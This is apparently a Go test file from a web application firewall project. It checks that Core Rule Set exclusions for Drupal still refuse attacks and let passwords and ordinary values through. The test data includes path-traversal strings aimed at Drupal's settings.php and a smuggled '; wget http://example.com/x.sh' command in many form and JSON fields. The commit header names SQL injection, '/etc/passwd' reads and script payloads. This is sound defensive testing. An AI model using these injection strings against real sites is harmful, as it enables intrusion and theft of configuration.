check / check (push) Failing after 12m7s
A password manager's random password set off 35 Core Rule Set rules, about 1 in 40 refused. The password fields the app exclusions name now skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki wpPassword, lgpassword and password, Mastodon's sign-in, sign-up, password change, move and delete passwords, and Nextcloud's sign-in password. The tests draw 2,000 random passwords from a fixed seed, plus one rare password for each rule the 2,000 do not set off. Those that set off a rule in a field no exclusion names are sent to every password field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password now pass; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused. Model: opus-5-5
499 lines
15 KiB
Go
499 lines
15 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"testing"
|
|
)
|
|
|
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const drupalThreshold = 5
|
|
|
|
// drupalAddArticle is Drupal's form for a new article.
|
|
const drupalAddArticle = "/node/add/article"
|
|
|
|
// drupalSignIn is Drupal's sign-in page.
|
|
const drupalSignIn = "/user/login"
|
|
|
|
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
|
const drupalJSONSignIn = "/user/login?_format=json"
|
|
|
|
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
|
|
const drupalJSONPasswordReset = "/user/password?_format=json"
|
|
|
|
// drupalTagForm is Drupal's form for a new tag.
|
|
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
|
|
|
|
// drupalEditAccount is Drupal's form for editing an account.
|
|
const drupalEditAccount = "/user/2/edit"
|
|
|
|
// drupalName is the field for a person's name, as the start of a form body.
|
|
const drupalName = "name="
|
|
|
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
|
}
|
|
|
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
|
// injection, as a query value.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var drupalAttacks = []string{
|
|
sqlInjection,
|
|
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
|
|
scriptInjection,
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, attack := range drupalAttacks {
|
|
for _, target := range []string{
|
|
"/?id=",
|
|
"/admin/content?id=",
|
|
"/admin/content?title=",
|
|
"/admin/content/media?name=",
|
|
"/admin/people?user=",
|
|
"/admin/content/files?filename=",
|
|
"/admin/content/files?filemime=",
|
|
"/admin/content/block?info=",
|
|
"/admin/content/comment?subject=",
|
|
"/admin/content/comment?author_name=",
|
|
"/admin/config/search/path?search=",
|
|
"/admin/content?destination=",
|
|
"/admin/foo?q=",
|
|
"/node/1/edit?destination=",
|
|
"/user/login?destination=",
|
|
"/search/node?keys=",
|
|
"/search?keys=",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=",
|
|
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
|
|
"/user/password?name=",
|
|
"/media-library?name=",
|
|
"/views/ajax?name=",
|
|
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
|
"/block-category/autocomplete?q=",
|
|
"/media/oembed?url=",
|
|
"/big_pipe/no-js?destination=",
|
|
"/node/2/revisions/3/revert?destination=",
|
|
"/node/2/revisions/3/delete?destination=",
|
|
"/block/add/basic?destination=",
|
|
"/fr/admin/content?title=",
|
|
"/fr/search/node?keys=",
|
|
} {
|
|
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
|
|
t.Errorf("%s%s let through: %+v", target, attack, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
const reply = "/comment/reply/node/1/comment"
|
|
|
|
for _, attack := range drupalAttacks {
|
|
for _, sent := range []struct{ target, body string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
|
|
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
|
|
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
|
{reply, drupalName + attack},
|
|
{drupalSignIn, drupalName + attack},
|
|
{"/fr/user/login", drupalName + attack},
|
|
{"/user/register", drupalName + attack},
|
|
{drupalEditAccount, "mail=" + attack},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
|
|
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, attack := range []string{
|
|
injection,
|
|
scriptTag,
|
|
} {
|
|
for _, field := range []string{
|
|
`"title":"` + attack + `"`,
|
|
`"body":{"value":"` + attack + `"}`,
|
|
`"name":"` + attack + `"`,
|
|
`"revision_log":"` + attack + `"`,
|
|
`"info":"` + attack + `"`,
|
|
`"description":{"value":"` + attack + `"}`,
|
|
} {
|
|
r := request{
|
|
http.MethodPost, "/jsonapi/node/article",
|
|
[]string{"Content-Type: application/vnd.api+json"},
|
|
}
|
|
body := `{"data":{"attributes":{` + field + `}}}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
|
body := `{"title":[{"value":"` + attack + `"}]}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body = `{"name":"` + attack + `","pass":"example"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalPasswordPasses(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, r := range []request{
|
|
{http.MethodPost, drupalSignIn, []string{formData}},
|
|
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
|
|
} {
|
|
t.Run(r.target, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantRandomPasswordsPass(t, r, "pass")
|
|
wantPasswordAttacksPass(t, r, "pass")
|
|
wantPasswordAttacksRefused(t, r, "pass")
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, attack := range []string{
|
|
injection,
|
|
scriptTag,
|
|
`; wget http://example.com/x.sh`,
|
|
`../../sites/default/settings.php`,
|
|
} {
|
|
for _, field := range []string{"name", "mail"} {
|
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
|
body := `{"` + field + `":"` + attack + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// An address keeps 932250, which refuses ls -la, and 930120, which
|
|
// refuses system file names.
|
|
for _, kept := range []struct {
|
|
value string
|
|
rule int
|
|
}{
|
|
{"ls -la", 932250},
|
|
{".htaccess@example.com", 930120},
|
|
} {
|
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
|
body := `{"mail":"` + kept.value + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
|
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
|
}
|
|
}
|
|
}
|
|
|
|
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
|
// on the fields that skip the other command rules, as a query value.
|
|
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
|
|
|
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, target := range []string{
|
|
"/admin/content?title=",
|
|
"/admin/content/media?name=",
|
|
"/admin/people?user=",
|
|
"/admin/content/files?filename=",
|
|
"/admin/content/files?filemime=",
|
|
"/admin/content/block?info=",
|
|
"/admin/content/comment?subject=",
|
|
"/admin/content/comment?author_name=",
|
|
"/admin/config/search/path?search=",
|
|
"/admin/views/ajax/autocomplete/tag?q=",
|
|
"/search/node?keys=",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=",
|
|
"/user/password?name=",
|
|
"/media-library?name=",
|
|
"/views/ajax?name=",
|
|
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
|
"/block-category/autocomplete?q=",
|
|
"/media/oembed?url=",
|
|
"/fr/admin/content?title=",
|
|
} {
|
|
got := inspect(t, crs, get(target+drupalCommandAttack))
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, sent := range []struct{ target, field string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
|
|
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
|
|
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
|
|
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
|
|
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
|
|
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
|
|
{drupalSignIn, drupalName},
|
|
{"/user/register", drupalName},
|
|
{drupalEditAccount, "mail="},
|
|
{"/comment/reply/node/1/comment", drupalName},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
|
|
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
|
|
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
|
|
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
|
|
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
|
|
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
|
|
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
|
}
|
|
}
|
|
|
|
for _, field := range []string{
|
|
`"title":"; wget http://example.com/x.sh"`,
|
|
`"subject":"; wget http://example.com/x.sh"`,
|
|
`"body":{"summary":"; wget http://example.com/x.sh"}`,
|
|
`"name":"; wget http://example.com/x.sh"`,
|
|
`"revision_log":"; wget http://example.com/x.sh"`,
|
|
`"info":"; wget http://example.com/x.sh"`,
|
|
`"description":{"value":"; wget http://example.com/x.sh"}`,
|
|
} {
|
|
r := request{
|
|
http.MethodPost, "/jsonapi/node/article",
|
|
[]string{"Content-Type: application/vnd.api+json"},
|
|
}
|
|
body := `{"data":{"attributes":{` + field + `}}}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
|
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
// An address keeps 932250, which refuses ls -la.
|
|
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
|
|
|
|
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
|
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
|
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
|
|
}
|
|
}
|
|
|
|
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
const subject = "subject%5B0%5D%5Bvalue%5D="
|
|
|
|
for _, value := range hardValues {
|
|
for _, sent := range []struct{ target, field string }{
|
|
{"/comment/reply/node/1/comment", subject},
|
|
{"/comment/reply/node/1/comment/5", subject},
|
|
{"/comment/reply/node/1/field_comments", subject},
|
|
{"/comment/reply/media/1/comment", subject},
|
|
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
|
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
|
{drupalSignIn, "pass="},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, value := range hardValues {
|
|
word, err := url.QueryUnescape(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body := `{"name":"example","pass":"` + word + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
|
body = `{"name":"` + word + `"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
|
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
|
body := `{"mail":"` + address + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, passes := range []string{
|
|
"/admin/content?title=python3",
|
|
"/search/node?keys=python3",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=python3",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=python3",
|
|
"/node/1/edit?destination=python3",
|
|
"/fr/admin/content?title=python3",
|
|
"/pt-br/search/node?keys=python3",
|
|
"/user/password?name=python3",
|
|
} {
|
|
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
|
|
t.Errorf("%s refused: %+v", passes, got)
|
|
}
|
|
}
|
|
|
|
for _, refused := range []string{
|
|
"/?title=python3",
|
|
"/admin/content?other=python3",
|
|
"/?keys=python3",
|
|
"/node/1?keys=python3",
|
|
"/?q=python3",
|
|
"/?filter%5Btitle%5D=python3",
|
|
"/python3-notes?destination=python3",
|
|
"/notes/admin/content?title=python3",
|
|
"/fr/node/1?keys=python3",
|
|
"/?name=python3",
|
|
"/user/login?name=python3",
|
|
"/media/oembed?url=python3",
|
|
"/media/oembed?url=ls%20-la",
|
|
} {
|
|
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
|
|
t.Errorf("%s let through: %+v", refused, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The same field name in the query keeps the rules, in the query and
|
|
// in the body.
|
|
for _, sent := range []struct{ path, field string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
|
|
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
|
|
{drupalSignIn, "pass=python3"},
|
|
{drupalSignIn, "name=python3"},
|
|
{drupalEditAccount, "mail=python3"},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
|
} {
|
|
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
|
|
// The JSON field name keeps the rules beside json.name in the query, and
|
|
// on a path other than the password reset.
|
|
for _, target := range []string{
|
|
drupalJSONPasswordReset + "&json.name=python3",
|
|
"/user/register?_format=json",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
|
|
// So does the JSON field mail.
|
|
for _, target := range []string{
|
|
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
|
"/user/register?_format=json",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
}
|